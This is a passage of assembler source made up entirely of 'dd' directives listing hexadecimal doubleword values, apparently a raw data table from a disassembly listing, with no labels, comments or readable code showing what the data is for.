dd 0A5B187AFh, 36CED000h, 9E7C1024h, 7E6E0531h, 9D95E472h
dd 82B68E2h, 6502590Dh, 0D099E495h, 0B48330FFh, 103C661Eh
dd 905D7A4Ah, 6617BF3Ch, 0FC880EFFh, 0F0368451h, 0DF1E5CB5h
dd 0DFFF8D5Dh, 65B37079h, 27686A3h, 63EA8287h, 0A850CD99h
dd 5EFBD077h, 0E6CB3C92h, 23F6C3ADh, 0AC61AD76h, 91DB5C52h
dd 0AEB6F916h, 0A4C8DCFDh, 0D3179979h, 1609BB25h, 60A2D983h
dd 0F4112580h, 0E509B275h, 6ADB3F76h, 57A48232h, 9565E199h
dd 0E2D457Bh, 944AA333h, 5CC5A40h, 43BBBA22h, 791C6883h
dd 0ED159908h, 4D0BEF1Fh, 5ACF5D2Fh, 0ED8F42FFh, 0AA356ED9h
dd 11D54B74h, 4039DC79h, 1471F803h, 12289FF8h, 0C3156C31h
dd 7B2FE48Eh, 5E339039h, 0B4A31DA7h, 3BCB0791h, 0B459977Fh
dd 0C9588B6Eh, 7C76CC3h, 0EFC055AEh, 1E325393h, 0A3E08457h
dd 0A8C5353Ch, 9D343176h, 0B17EAFB8h, 889959EBh, 48CEC70Eh
dd 5840B855h, 8796B016h, 2A4636E0h, 0D7301144h, 724C89B2h
dd 2F79B5E7h, 37D687EFh, 8757FEB9h, 7544CA6Fh, 94014F7Dh
dd 2DA1D937h, 52A249B5h, 0C0E87AD0h, 0F0837812h, 0E53837E8h
dd 7D4D4CC0h, 2355EF19h, 0FA650378h, 5F9342ACh, 0DCC4CC1Fh
dd 0A96BC12Ah, 94D4BEABh, 312439FDh, 0AB032749h, 79FC71DCh
dd 2B066A13h, 0E5F4CFF2h
dd 0AFD7A815h, 9358E3EAh, 4A7BA918h, 72A9B191h, 0A8AA34CBh
dd 0E73E4C46h, 5B2D0FCFh, 3B229A01h, 18B8F54Dh, 93CC70AAh
dd 4561DF96h, 0CB9BC802h, 0D64CB029h, 0C30ABC61h, 0C95E670h
dd 0D67D4569h, 0EB41C45Ah, 0B22F9C49h, 0F5CB8D73h, 648EB8Fh
dd 0B1C8614Fh, 1556BE19h, 6AAA52FFh, 0FC0A91E4h, 16C74FE7h
dd 649C059h, 8C8EFCD4h, 1844D293h, 31B3215Dh, 3F3AE38Dh
dd 51B0348Fh, 0B0681685h, 21A909F0h, 0E4233B3Fh, 31B796B8h
dd 64DE479Bh, 0F462F57Fh, 0EF5FEC4Ch, 4D2C8A24h, 871CEF6Eh
dd 974D9C66h, 0BE4CB657h, 0D9FC2CB6h, 7ED79359h, 38641326h
dd 52D4CEEBh, 0C0AD814Fh, 0D4440D62h, 0F60E53A5h, 0D83ACE77h
dd 840ACDADh, 375CF3EAh, 0A05254BDh, 2439AF9Eh, 745E3724h
dd 0C433BBFAh, 0E8CA3FCAh, 0D023FA58h, 3CC7C592h, 0AC5A11EEh
dd 4361049Ch, 0F444BED4h, 0E8ADD611h, 0DB5851AEh, 95FBE65Ah
dd 900642D7h, 69B1D6FEh, 7214779h, 0FAEF4CDDh, 0E758132Eh
dd 7660C406h, 0BE05F47Bh, 99D893CFh, 0EBEDB30h, 4FA6A50Dh
dd 53482D0Fh, 0FEDFBDEFh, 0C7F9A3ADh, 0F95A5D40h, 208106C3h
dd 47A3F5B3h, 92291BC1h, 0A6123EDCh, 441F9369h, 1EA01401h
dd 0E7437921h, 16BBFBE9h, 4ABBA0F2h, 191EEFD8h, 45410992h
dd 575625B6h, 92155163h, 991A0C59h, 5437A3Ch, 315F1D2Bh
dd 604F740Eh, 5726708Bh, 9D3ED691h, 0E903E86Ch, 0D13783FDh
dd 2A4D041Fh, 0E2C2651Ch, 0EBFC1552h, 0B29765B5h, 1B9E7C6Eh
dd 1F56DDC9h, 1CDBC18Bh, 0FAEADA20h, 0AC18EF4Ch, 507C12F6h
dd 2E31E00Fh, 0A788BD3h, 1A60DD2Eh, 92D9B55Ah, 36754AD1h
dd 4F8DEA1Bh, 0B801EEAh, 19616090h, 0A8BBB3C5h, 0A6D342AAh
dd 0B7B0F077h, 7DE84228h, 0D9CB57F4h, 65E9656Dh, 8DEF882Eh
dd 91D97B0Bh, 0F34C2E42h, 0F5A01469h, 0A0F16231h, 59D3B1A6h
dd 1707A3EEh, 4ABA52E0h, 69B5A279h, 9E89736Fh, 8496A8A8h
dd 0C7FF115Eh, 0D303122Fh, 9341039Eh, 8DA864EDh, 0EE79C6Dh
dd 0EC4331Eh, 0B953177Bh, 81F24332h, 0C456DE0Fh, 32D8E7F7h
dd 63BA7B73h, 256AD845h, 0B35AF195h, 0A1F0758Fh, 3FBACF44h
dd 0C84E6ECCh, 5B012048h, 7198D88Eh, 80496679h, 260893B7h
dd 2262D10Dh, 0B4D8A82Fh, 90F53588h, 3FB51422h, 0A0B5E7Fh
dd 8BDFAFA6h, 0A0175B73h, 1CC7CC44h, 131946F6h, 19C7505Ch
dd 0CF5A50D8h, 54754AD9h, 778C2DFFh, 7C143921h, 9BA82952h
dd 0F2A8858Dh, 0E9347EB0h, 70B5D3BDh, 0E9D7A4E6h, 0F6523D54h
dd 74ECD570h, 9B6DF211h, 0A39E457Ah, 0BD358376h, 0F864DF26h
dd 0F7BB9EC6h, 0CE5E8E30h, 6D1ED752h, 283DEDF0h, 5181240Eh
dd 0A4E202A4h, 9F25EAF4h, 0F3BFF771h, 3A3D3C1Ch, 6B608F99h
dd 24FA6725h, 0C41A9E8Ah, 78722E2Bh, 1E81A808h, 2E5F7D03h
dd 0F315C8DDh, 0FE971AFh, 7B34B4FFh, 0DFE8BCA7h, 1D6D9429h
dd 0E97110A0h, 6E39754h, 1392EE37h, 0E1BFDF15h, 233C91D7h
dd 0B456DE7Dh, 55B3AAB8h, 5E23DB80h, 4362E78Ah, 0D46322A3h
dd 0A0B31942h, 731A0E68h, 9FC4CA56h, 0B227AD52h, 3FD5E608h
dd 35210A1Ch, 0A4CD0C74h, 836C9646h, 69877BADh, 9FA66303h
dd 3D03DA40h, 423BB0A7h, 0F471012h, 0AD02BBD2h, 0B7A61BDAh
dd 11A2F730h, 1E38EC0h, 85AFE50Ch, 4F0A2E92h, 0CBF6A095h
dd 2FDACFA8h, 3EEF86D8h, 0C404B6Dh, 4BD95640h, 0E62B85EEh
dd 9594AD50h, 33C41237h, 2681Ah, 7D1E116Bh, 0EC73A800h
dd 8B4BA601h, 0AB0A1B57h, 38EEAD1Ah, 0BAE93BF6h, 8D61D0FFh
dd 6856D6EFh, 5B97ADE1h, 0D7A486F3h, 6B538AC1h, 379A6684h
dd 3F47539Bh, 0C1F25C4Eh, 0E9B2FA24h, 2804B7F2h, 0E9D63EC3h
dd 0DBE8B979h, 82069480h, 0A01A9E9Eh, 0F19DC98Ah, 7C695EF8h
dd 0E2865081h, 83167123h, 66CFE8DAh, 95E726A0h, 93432CD8h
dd 7BFC4B1Eh, 2C111DAAh, 526A8DCDh, 0B63DEEC5h, 0E2F693D3h
dd 8B43E38Bh, 3CF0562h, 49B3D798h, 5455AE82h, 0CE00C3F7h
dd 0A4D5D8FFh, 44B50109h, 320E3D11h, 0FD953F03h, 54A651ECh
dd 25DEB2CEh, 4B6AE441h, 21D8AF52h, 0F0911DEDh, 15210781h
dd 472E71DEh, 4FF7DA10h, 4C0F5CD9h, 3417F667h, 53911A11h
dd 82A9FB39h, 0C89F9404h, 0DACEFDE0h, 56CE742Ah, 5333A0E9h
dd 3143C869h, 0EB0C5270h, 0A3E40213h, 4B077C6Dh, 231C2432h
dd 1F9B9E1Ah, 95D0C55Eh, 6A2F7281h, 780340FBh, 15E2A16h
dd 0BCC5A9ECh, 28AF0F41h, 4BC87822h, 68C9E2CAh, 0E0808862h
dd 317F86CFh, 100EC96Ch, 9800B44Ah, 0D1C08E22h, 0F40B0048h
dd 0A2D7518Eh, 1C4F541Eh, 0B0976644h, 457A32F6h, 535B936Ah
dd 1C892892h, 0F742FD8Bh, 0B63AE38h, 2D587C7Ch, 0C19CF9F3h
dd 3A57AF92h, 0F539CDCAh, 823A3338h, 3ACF7B5Eh, 0FF7AD171h
dd 949EA679h, 4C3382C6h, 278B952Bh, 6E54DFBCh, 5CE8438h
dd 3553B906h, 87CE886Eh, 0F95E8C90h, 0CD9B6F9Dh, 361EE881h
dd 0ED3C4CC4h, 279ACEDCh, 9FB54984h, 0A8BFAF99h, 0A82EC951h
dd 71A867A1h, 0E176CE59h, 196FA108h, 79298BE8h, 0FA9E1E4Dh
dd 31FE14B7h, 9F0219CBh, 0F7FFA0D4h, 0EE129BC5h, 99CD14D9h
dd 1A97F333h, 9EB8EAF8h, 6657E9CEh, 0BED28F19h, 0EB2DA6F3h
dd 59F76C4Eh, 0AB9836Ah, 296E7AFDh, 3CCFEA97h, 0D645DD45h
dd 5F59057Ah, 859B9A31h, 316A9182h, 697C7DA8h, 6A99E7BDh
dd 0B321DE74h, 9AEA8D9Dh, 45806BE0h, 0E54904C2h, 27426B24h
dd 7EC6A633h, 0EE90AA28h, 56F932C0h, 0B2C9CD3Bh, 234DF5DBh
dd 6DC599AFh, 637B5225h, 0A24ABE9Ah, 0A1FCD8B8h, 0DCA4182h
dd 0BDFEAC1Bh, 392FEB5Eh, 0DAC76E9Fh, 7CDAA2BFh, 0B2D31E24h
dd 2C128B13h, 0B7FCDCE4h, 45A107EFh, 0B2B3F883h, 64288B32h
dd 0ACD01C51h, 0BBAEE0E5h, 0D9F28060h, 9835FAF4h, 0B4FB9FF2h
dd 0D73717EAh, 122A195Fh, 0C78C8DC6h, 0F4691DC5h, 0DB036AEh
dd 3A4B977Dh, 21B31584h, 0BC980CEEh, 0F19EB3D2h, 4A149D2Fh
dd 0FACB4E1h, 0C7A83523h, 5FAF1ED1h, 2C7F7A94h, 36528FBAh
dd 0B75157A2h, 257C5FC0h, 2056333Eh, 0F4D25191h, 0B5430966h
dd 9485C111h, 0BF7419A5h, 0B8BE7DFAh, 0B52639BCh, 851E0BC9h
dd 2A0793B5h, 0D8E7FA93h, 0EA761352h, 2203B65Dh, 0B743FA45h
dd 1F3162DDh, 622B09EAh, 81108751h, 0F2052DCh, 0C8119522h
dd 47243C5Bh, 0C7838C5Bh, 0B3C721BCh, 4AA701Fh, 7FD8873h
dd 67859463h, 0CB5B3C02h, 0B11DFF9Ch, 67767DACh, 77B1D20Fh
dd 0F1F839A7h, 6F1AF4A1h, 708722AFh, 8EC4B157h, 1ADFB82Eh
dd 38569C4Eh, 1B96555Fh, 0E6192396h, 525CED84h, 33EDD488h
dd 940E2C3Ah, 7B80DF58h, 0F2B08D14h, 1D6A4003h, 872D7504h
dd 0B9142625h, 6F79D046h, 3C04AECh, 0AB4105DBh, 7833C819h
dd 0D55D672h, 11B95919h, 6F8C3D28h, 5F33E978h, 5E73B559h
dd 0A0C26008h, 0CD7346B5h, 7C77B6EFh, 0CFEE3A9Bh, 0FDA25BFDh
dd 87695D1Bh, 0C677D0B1h, 0F6FA639Eh, 0B8DF3D8Dh, 0F42751FAh
dd 7DCF2BE5h, 0CB174AA4h, 0AB1C68E0h, 5FBA7D8Ah, 7091522Eh
dd 60D1A874h, 5E18FFB0h, 1569F105h, 0F0C4D7F7h, 275D15Eh
dd 8078BE7Eh, 1B9484C9h, 647DD78Fh, 0E397C864h, 2F35F5FDh
dd 521C022Ah, 16DC6DA5h, 84851DC3h, 0A29C4698h, 0B2F53F2Bh
dd 5AD8FE5h, 3AF5188Ch, 0AC3F4C97h, 3ED47AEDh, 9B48EC9Ch
dd 389A86A7h, 52059C64h, 94447937h, 25BA1F41h, 30D98A3Ch
dd 47961A91h, 35146FDCh
dd 55B5FFD6h, 64BCA488h, 35C34B2Bh, 37D28386h, 0C64B0213h
dd 0AA9D3F96h, 1BB65358h, 114A338Eh, 132E6BD8h, 0BE640501h
dd 4A20404Fh, 0FBAE437Ch, 0CAAB22Ch, 803C7B49h, 3ED6A9C3h
dd 619C2554h, 0EE8AB1BDh, 0A98FAEB8h, 9F8A57CDh, 2EEB043Fh
dd 7626A5B4h, 0A45FA38Ah, 7D91B9F0h, 6D22EAA2h, 11598FE8h
dd 0F2CE2F42h, 0B8ED380Ch, 381C5B70h, 0DE4AF7B0h, 0A854329Bh
dd 8F8E6B40h, 5770D6Bh, 3CC3D1A0h, 967E86E0h, 29D4293Bh
dd 3BF24257h, 3A8B7DDDh, 565BBE89h, 23ED147Ch, 0ABB38BD8h
dd 620E92Eh, 1123B59Bh, 0DA6184E7h, 0C5F49EA5h, 75908EFFh
dd 0C0B6859Bh, 0B44FF3C4h, 0C26F89D9h, 0D4FC0F7Dh, 0D01E739Eh
dd 4F18164Bh, 580C100Fh, 86716EE4h, 0D400BF3Bh, 0EC31A39Fh
dd 6506A260h, 732DE046h, 0EE6B2968h, 0C67FF819h, 5C73FC2Dh
dd 6A49A94Dh, 6A3C0FD0h, 45D408Fh, 3DAE8946h, 0AF80D3FAh
dd 0F29B15DAh, 42A48008h, 4F5BAFh, 9FF0CA2h, 0A1DF2071h
dd 1076C5A1h, 2B227B0Fh, 5A6126CDh, 0CA5A3625h, 0C54484DFh
dd 235D82D2h, 0A1635C5Bh, 0C00F12D4h, 0AFA0361Ah, 99F1BEC4h
dd 52BF65C7h, 84D5D379h, 0AB5F430Ch, 526976Eh, 8832A691h
dd 0AC233B01h, 3EABF4CDh, 0F49D509Fh, 0B12F1C2Ch, 5A97C1F2h
dd 0C436F016h, 0FCFC43A3h, 5756FE79h, 6F41FF58h, 0BDE55702h
dd 4BC8DF5Ch, 0BECDF44h, 46C6D804h, 9680E367h, 0F168A749h
dd 0C068C8E8h, 54976B23h, 0A9325E5Eh, 92671615h, 0E7744B84h
dd 139AA335h, 0EB87C85Ah, 7E5F0E0Bh, 7BC2F1EDh, 0D1E2FC64h
dd 72CBFE2Bh, 0E98A2F21h, 5C78312h, 0A7CEE280h, 15F1FDCFh
dd 711218E1h, 2DA86D79h, 0E6906B0h, 0B2115F0Dh, 5E4219B6h
dd 6F02D43Dh, 47DB0921h, 5F7010B6h, 5738B4BBh, 4CDBC0A8h
dd 7ED216BBh, 0CC1F6B6Eh, 0A8FFF625h, 5F5798B8h, 0B48E661Ah
dd 3ADBD972h, 5EC9CFE3h, 6585DCD0h, 2C543F6Ah, 2BA87A07h
dd 4AC20E5Fh, 491906B8h, 0E75534ABh, 2654430Fh, 0C6180599h
dd 4C9B5674h, 0AA9BE12Eh, 74EC9312h, 9401FECDh, 0C317D7ABh
dd 20DE214Ch, 782B4BF8h, 4A785458h, 0F9459723h, 0B4B6F921h
dd 0DD61EB72h, 0AE920D19h, 89F41F42h, 0DEBDB5BBh, 47C996D9h
dd 0DEF4C434h, 0C8ED42AEh, 3569A7BEh, 0D4C118DDh, 0E6064892h
dd 66040A72h, 1369B04Dh, 0F9E8C52Ah, 0C5FCFE0h, 7268F81h
dd 98519B57h, 0C37C8452h, 32EBC450h, 0E417AA1Fh, 0BE250B95h
dd 0BA963E88h, 68CC67A4h, 9799B7B4h, 533912F3h, 45C614Eh
dd 53F93141h, 45069FDBh, 0FDDC4CDCh, 0AFB91F27h, 4C10C1B8h
dd 1F04475h, 0E0609A60h, 0CC7CAAF3h, 9055B94Ah, 41ABA417h
dd 10131BB5h, 0EF9F26FBh, 4CF62927h, 0C7EF2FA7h, 0D0016060h
dd 0B1589542h, 85F7BF0Dh, 17EFC8CDh, 6C01910Bh, 0F880EA3Ch
dd 60D19181h, 0EE98E74Dh, 5C00C466h, 31DB4301h, 0C0AAEAF2h
dd 9E17D5EAh, 4493E1FAh, 2309535Fh, 4C872566h, 0D40C5DA1h
dd 9DB23889h, 66A8065Ah, 0D382C931h, 641FEF3Eh, 79AD674Eh
dd 3B8849F5h, 0D57C524Ah, 0EAD30502h, 6E5A0FD4h, 60ECC356h
dd 65E23394h, 15F807E5h, 0EFF4DD5Bh, 6DE289Ah, 0BE7E4E37h
dd 3164C170h, 0E47D7847h, 1CF8FA8Fh, 0CDDD97DEh, 85944F6Ah
dd 88C52556h, 94D2E742h, 75CD902Fh, 89118DD6h, 0BC22D706h
dd 0AC8C7CE9h, 0DCE7F4DFh, 69AE8C2Ch, 8F199AE7h, 9D7F292Dh
dd 0DC67B18Dh, 6E4E532Dh, 25843973h, 8C78377Bh, 59A25A89h
dd 0D3F53350h, 0A42309D9h, 564EC946h, 1FDCADAEh, 0B758DFA6h
dd 0F0952E4Fh, 61F0EBF0h, 91694A55h, 2F9C78ACh, 0B3F9A0FDh
dd 7A5E7083h, 0F0A3D08Eh, 316DBA39h, 93F9D39Fh, 0D324661Ch
dd 0E5EF8489h, 60162E29h, 0DC59E2E0h, 0DF7DEC29h, 7080245h
dd 0D51CE76Dh, 0A9103949h, 0A969350Dh, 76354D1h, 2E7294E3h
dd 9CACBE4Dh, 0BD2318FFh, 65685082h, 0D146559Fh, 0A9CAC066h
dd 863D1C5Fh, 0D2B44DD8h, 0CB4A819Dh, 2472435Fh, 0A9B7F5FFh
dd 0F15CFD05h, 0A6A2BB02h, 4651EF32h, 7798C6A4h, 0A616424Ch
dd 0F6787B41h, 4F8942A6h, 0A3B3BA72h, 0CE6E0F91h, 8EE7C969h
dd 0D6354A5Eh, 0D6540Fh, 80D23641h, 90545B9Ah, 57CC7C7h
dd 2E4D8BAEh, 0ACE8426Ch, 0BDC4DEAFh, 19697EA8h, 2CD1B080h
dd 89640F18h, 35D637C7h, 6BB6B36Dh, 35BC0341h, 0B1B70EEDh
dd 0CD027E03h, 68B8C7F7h, 2FD69985h, 3766DF14h, 0D7B8D4C4h
dd 0FEF9F73Bh, 97E0626Dh, 29DBCC90h, 7E6F3CE8h, 0F6C91B0Ah
dd 34484BFh, 1B326440h, 236F8F51h, 0BDCD6BE1h, 0CD1819C0h
dd 0B1B9E0E6h, 751B6AA5h, 0E76793B1h, 1FC4C16Ah, 99B1FC10h
dd 86A1DDF0h, 3D6FBCBAh, 0CC93F388h, 32CF1328h, 0B257C520h
dd 44DFC58Bh, 7DCA0FDAh, 19D471F6h, 3F8C2100h, 0F40937A8h
dd 0B18D25C0h, 0CA6DCB0Ah, 60B3BBE2h, 6B9D56C9h, 380B284h
dd 0BAC13CEAh, 240B5CCAh, 0C79F12A6h, 0FB009150h, 0A8C3A20Dh
dd 9414800Eh, 0D40B328Fh, 2795F220h, 0AB0F99F0h, 708179BCh
dd 12D4F25Bh, 0FAB109C0h, 0BE7BE0C4h, 97C8E92Fh, 0E177ABABh
dd 91556B5Bh, 0AF5F34BEh, 0F42E907Ah, 815BE22Fh, 0A1042BFBh
dd 2384547Eh, 7A964D52h, 836FBEFEh, 0FAABB1Ah, 0FFCD8F01h
dd 365C2FD1h, 7AE0F02Ah, 4C878815h, 6E3B51BAh, 0EF1F7185h
dd 1A63E680h, 0A8372DB8h, 0F661D366h, 0D8CD0040h, 0B2FB1B9Ch
dd 56376B83h, 65C7C524h, 1F773009h, 9F6EE18Bh, 0A02EA1C5h
dd 9EE439FAh, 0A712EF9Ch, 941E0CC0h, 6E183FF7h, 0D0649CF5h
dd 0F2F1EDA3h, 0B717648Ah, 0FC2507A6h, 665BC87Ah, 6786683Dh
dd 0FE7408AEh, 0FA99EE43h, 0DEE9325Ah, 0D95790BBh, 0D92204AAh
dd 0CA0B6DB9h, 0E03ED7C6h, 68741D13h, 16DDBFFFh, 0A1C547C8h
dd 9DAB729Ch, 2AF14C43h, 0F292F64Ah, 618F19AAh, 1E531619h
dd 53826657h, 0C7DE03CAh, 8F06697Eh, 897FCECFh, 5F8D3460h
dd 9DB86B97h, 685A9498h, 1F36B413h, 0A99B05BDh, 0C7BDAA3Dh
dd 0D51E8F95h, 0D727B837h, 9E25887Eh, 6A6C4BBCh, 945777B0h
dd 0CC8DC7A4h, 72F43325h, 2CD42AC6h, 22DC4EE7h, 0C28F9535h
dd 0F3EC8B8h, 0A3585E98h, 7876E2Bh, 4C5ACB6Ah, 52BC7D47h
dd 0D107F8F5h, 9657B198h, 0C805CB08h, 85B03FC2h, 24D2151h
dd 370AA3F8h, 0C1F45BD1h, 0D292E1AEh, 3097311Dh, 7B7ACCD0h
dd 7C183DC8h, 0EA04F4FEh, 55A0D98Fh, 4E063D63h, 0B00F7EFCh
dd 7D322397h, 0CFBFBB4Dh, 0E2AEBAA5h, 0E567B36Dh, 98048D91h
dd 0ED9A82D1h, 0AFC59A6Dh, 8E79066Bh, 31B7B49Fh, 6529EB87h
dd 127CDFCCh, 5BCBF463h, 0E9309B9Ch, 0F346987Eh, 5B4C136Ch
dd 25D5FC84h, 6C8D8030h, 0F6804A51h, 7BA16ECFh, 0CED8223Ch
dd 0F2BCE2D7h, 0F0C68B7Bh, 0DAE75446h, 55AE7F2Fh, 7E88D218h
dd 0FCB208E5h, 31311671h, 0A19AAC38h, 95B4BC46h, 6A83F837h
dd 868FE4B2h, 92417BFDh, 0AD5FF1E5h, 0C830BC50h, 7C231564h
dd 3BA78089h, 0E1553966h, 1AFBBD3Bh, 11B7A0CAh, 0D11B4755h
dd 71EF4945h, 0B29E227Eh, 342B2A3Eh, 0F7779E21h, 0D41AD448h
dd 7DB7BB9Eh, 0A7DD6B3h, 0EE13FF80h, 0FA80584Dh, 9A465C25h
dd 0D3C67EA7h, 0C0E44382h, 0BF5D7B36h, 7C356289h, 0C1145791h
dd 0A99201CFh, 57266B0Fh, 82F6F17Ah, 5993AA25h, 8F01FBEAh
dd 0C5025C2Ch, 5FFF9CCCh, 0CE83B544h, 1783F0DDh, 3C42F4B4h
dd 398CE2h, 30ACA26Ch, 1236D8FEh, 0FA7C66B7h, 0F5130C8Eh
dd 1904B52Ch, 0AC2EED5Fh
dd 0C362CB20h, 0BAC25138h, 746BC484h, 6A48B6B3h, 7AAC8673h
dd 0AA8240E0h, 315CDAA7h, 0B5C81265h, 1F3D85BFh, 81DFD7EBh
dd 7859F6C9h, 0BE733768h, 2E714A90h, 31E618E9h, 1BA156BEh
dd 79F3A789h, 6038245Dh, 199D8FCDh, 0EB3338A6h, 0DCD7FABBh
dd 549FF1FCh, 0DA646B78h, 6D4AB988h, 0A58F8966h, 75AB44F0h
dd 3191E57Ch, 5D9C28CAh, 3B8AA446h, 70F7BE0h, 0D3C9C7EEh
dd 5D31F3C5h, 16FBBAFFh, 746EAB40h, 2C22F0AEh, 0B735B690h
dd 4D092ECFh, 7A18889Eh, 7C7A63D1h, 37B02787h, 53339902h
dd 979CF868h, 8BA1B103h, 0BAAB6536h, 1D1C3D08h, 0C2C11C6h
dd 0E765BDC3h, 0F044CE3h, 0F02AD8CFh, 8BC7116Dh, 0C569CE4Fh
dd 0DBF7291Ah, 71CEF11Ah, 0A3A0CFB3h, 0AB5A6AB4h, 5FB369C0h
dd 59BFDB8h, 0ACD14646h, 39AB9F91h, 0FEC398B4h, 9AC82976h
dd 8EFE24B8h, 8FE546FFh, 79F01846h, 115A06A4h, 0F21D8BB2h
dd 12E87BFFh, 0A4199E7Ah, 0DAA5A551h, 52336EB9h, 5CDA107h
dd 0E0F343BCh, 994E1804h, 0C2A130BAh, 0D7A0E348h, 30ABE788h
dd 8C2F8757h, 3C5403F6h, 0F9136FC6h, 12A35A1Eh, 0B6472B82h
dd 4AABEE1Eh, 80D50CEBh, 341A1DA8h, 80523780h, 0EAF0CEE7h
dd 0B40DBBFEh, 1FC99967h, 0AD1C0F05h, 895E81BBh, 0B4FBE7DEh
dd 78B6DE1Fh, 86500953h, 31B373F6h, 4BDD7C5Ah, 64A3F59Dh
dd 0AF05B511h, 0C508C8EAh, 8EA4946Ch, 0F132F525h, 699CA10Dh
dd 0BAC60B55h, 0A75D93A1h, 0A92C81E8h, 0D4EA49ECh, 0C8DBA477h
dd 0A7E1C0Bh, 0ABF44777h, 0C1EDD248h, 576288B0h, 40029225h
dd 0EF54364Ch, 3240EFDAh, 0ADC15F64h, 1075E7D7h, 0CAAF4988h
dd 0B1B26295h, 1E93307h, 69409013h, 502B7843h, 1A036540h
dd 7FC18299h, 86916193h, 8F086256h, 0C01489F7h, 89D76AF1h
dd 4C8B8077h, 0A5150A10h, 4660A768h, 70BF6379h, 0EB838FE3h
dd 0BDE0D340h, 6195E098h, 0EFBCD1AFh, 20A2E571h, 16FF9953h
dd 85E3500Fh, 9E6FADD4h, 0AB944A86h, 0BF74C0F7h, 0C6D01C10h
dd 0D1A292E1h, 68BBDCDAh, 88F71B9h, 350C19Ch, 0DDEA7655h
dd 19CD1F7Ah, 59162214h, 87BA29CDh, 37860692h, 0CF59F280h
dd 1EE5649Fh, 33DB6235h, 0CD1969B0h, 8A7FAFF5h, 7ED9DB03h
dd 615C5898h, 36661FD0h, 855D0BA9h, 772C8B8Dh, 93F39A04h
dd 5B6AF923h, 0E8139937h, 2B0F24D0h, 13090DD3h, 0EC2C15h
dd 80A92F4Dh, 8D32C6C9h, 0B6D66D7Ch, 646988C5h, 21D9460Ch
dd 0BD2F509Dh, 0EECD8EB6h, 7C79C755h, 0AE8220h, 0D53E648Dh
dd 0C512FEE2h, 3E527D9Eh, 776E86F1h, 5B54F171h, 0F547535Ch
dd 16E2AA0Bh, 6D4EB9A1h, 0CC4D7445h, 159946BFh, 0B6AB84A7h
dd 8CCB87A0h, 28633441h, 829053E3h, 704C509h, 66A9D959h
dd 54AC4C71h, 6DF5E781h, 49CCA8F0h, 436C1470h, 0A30634C8h
dd 0F5BA15E4h, 108B6253h, 3461DEA3h, 971794B1h, 0C154D8FFh
dd 0AB65D817h, 0B1387E3Bh, 0DA1BC475h, 0F2B0E1D3h, 70C685B4h
dd 0E135F84Ah, 45C55596h, 435A7BE3h, 0F8FC0D0Fh, 0DD2B7CD8h
dd 0EA9E030Dh, 1C77F40h, 5747EE13h, 9BD47F85h, 3B8D6FEh
dd 5271B069h, 48A1AB15h, 2D772464h, 4B9D6A70h, 4F9758A0h
dd 0ED36F6D8h, 0F6D37E75h, 1E8FD8FEh, 0D2D353D4h, 0D2904321h
dd 0BCAADCE7h, 0E95035CCh, 685F8712h, 3A3C51CBh, 2573D85Ah
dd 71BA9923h, 0EA46816Ch, 9E328D5Bh, 0ECE6AC9h, 0DCAA6830h
dd 0F39DD262h, 6DE605EDh, 0C95F8FE4h, 0D0946197h, 18804DE4h
dd 0F76E1A22h, 0E7D8166Dh, 0DC8B8D5Dh, 0B7A58BE7h, 0AFD29600h
dd 97BABA23h, 58B8240h, 0C88E45D4h, 2DF01617h, 928646E4h
dd 52AEC5EAh, 0F7ACE83Fh, 7BC756F8h, 4ADE6DC7h, 22D06C99h
dd 0CC7F5B96h, 1313F87h, 0C98CC0E9h, 17CBAE3Dh, 8BF88377h
dd 0E9BEDF88h, 0E24D2808h, 7916AA05h, 520C6575h, 649D308Eh
dd 3001C185h, 6A0D397h, 0FE43FBE5h, 4A5E067Bh, 657AF2E6h
dd 0B2246977h, 0B55900FCh, 7446945Ah, 42079D6Eh, 4E0C4339h
dd 0C2309FB7h, 55B6935Ah, 6BDF8CF7h, 0E518BA03h, 0BCCB7925h
dd 32FB7ED2h, 10BDE8EFh, 8DDE37B8h, 3EECE6F2h, 451B3D85h
dd 2F83CF46h, 8664D89Dh, 7ED9290Dh, 1522BDA0h, 4A6A55BDh
dd 0C32B26B7h, 361B97B0h, 0B5625C9Dh, 393F93B6h, 0F999659Dh
dd 4094DCC8h, 6FBF0261h, 6B279CDCh, 62903A95h, 0D354FDB6h
dd 24CFAFABh, 0D985927h, 65977C42h, 4D3AF6A1h, 3A69F7BAh
dd 8F008021h, 463C6E63h, 11A8D5DBh, 0B4904643h, 0C01490CAh
dd 84FDBF2Dh, 0F9F8A684h, 0C8F75F78h, 30229D7Fh, 0D2EEAEEEh
dd 1F46BDDh, 0FB140EB8h, 48E67226h, 0F1C03729h, 0B80DAB44h
dd 9C70BAF0h, 7C59B82h, 214807DCh, 0C9C50484h, 0AEDB7388h
dd 89E25846h, 8FDE0297h, 0BEEAAF84h, 4701E19h, 0FA5F6B7Eh
dd 1F377FEAh, 0B59098B6h, 494B9538h, 0D6E51683h, 0B7A9679Fh
dd 0B727B332h, 9BEC7BDBh, 4C69A56Bh, 9A1B773Dh, 56384357h
dd 3CD2C72Ch, 0D86CB8C7h, 0EC70ABC0h, 0AC0E0ADh, 0E21C3349h
dd 1C9AB3A7h, 0B4762875h, 9E498790h, 7FEE8CE5h, 0ED697AE5h
dd 4B22FB5h, 84F19DBFh, 1845F178h, 3CC770CDh, 84C81634h
dd 8389EF17h, 89849A49h, 0D8BADA10h, 0CC8E097h, 8C203A43h
dd 118EBE20h, 4399413h, 0F471751Eh, 0E82FB402h, 0CF1A4E03h
dd 9936BBEBh, 59739E8Eh, 0C88280E3h, 0F1A6442Ah, 55AB37CBh
dd 0DCC984E9h, 3DB73951h, 72F1B403h, 4802B05Eh, 0D71466F7h
dd 698842CFh, 4F5AD966h, 0C354B6Ah, 1B1C4F30h, 87686425h
dd 69C0AF7Dh, 3F03DF26h, 0E3EF9E60h, 0F8AEEB17h, 8CF5B7C7h
dd 26668C70h, 4CE9125Fh, 0A502EA1Bh, 0A554DB61h, 155050E4h
dd 0FD824C4Fh, 9F3D0D86h, 0E2D1A362h, 5084AF9Dh, 43552779h
dd 31760BFDh, 2E58F16Eh, 8D71FD17h, 5B79B1C5h, 0BB30CE43h
dd 0B0FF248Ch, 80B624ACh, 0A6F815B0h, 36C9D49Eh, 438BF80Fh
dd 1782E700h, 1C4FDF48h, 515DC6BFh, 0D8D9C6AFh, 0CF4D2616h
dd 265D80EFh, 581283DEh, 97E3A144h, 0A16C383Bh, 3793F5AFh
dd 0CA157158h, 585C49ADh, 0F22A122Ah, 6A77207Eh, 7E6AF4DFh
dd 0DD43AA85h, 8590C92Fh, 0B79D483h, 0A6928B6Fh, 6168E103h
dd 653C3C5Fh, 0DE96292Dh, 348E98DCh, 1D1741E4h, 89DB700Fh
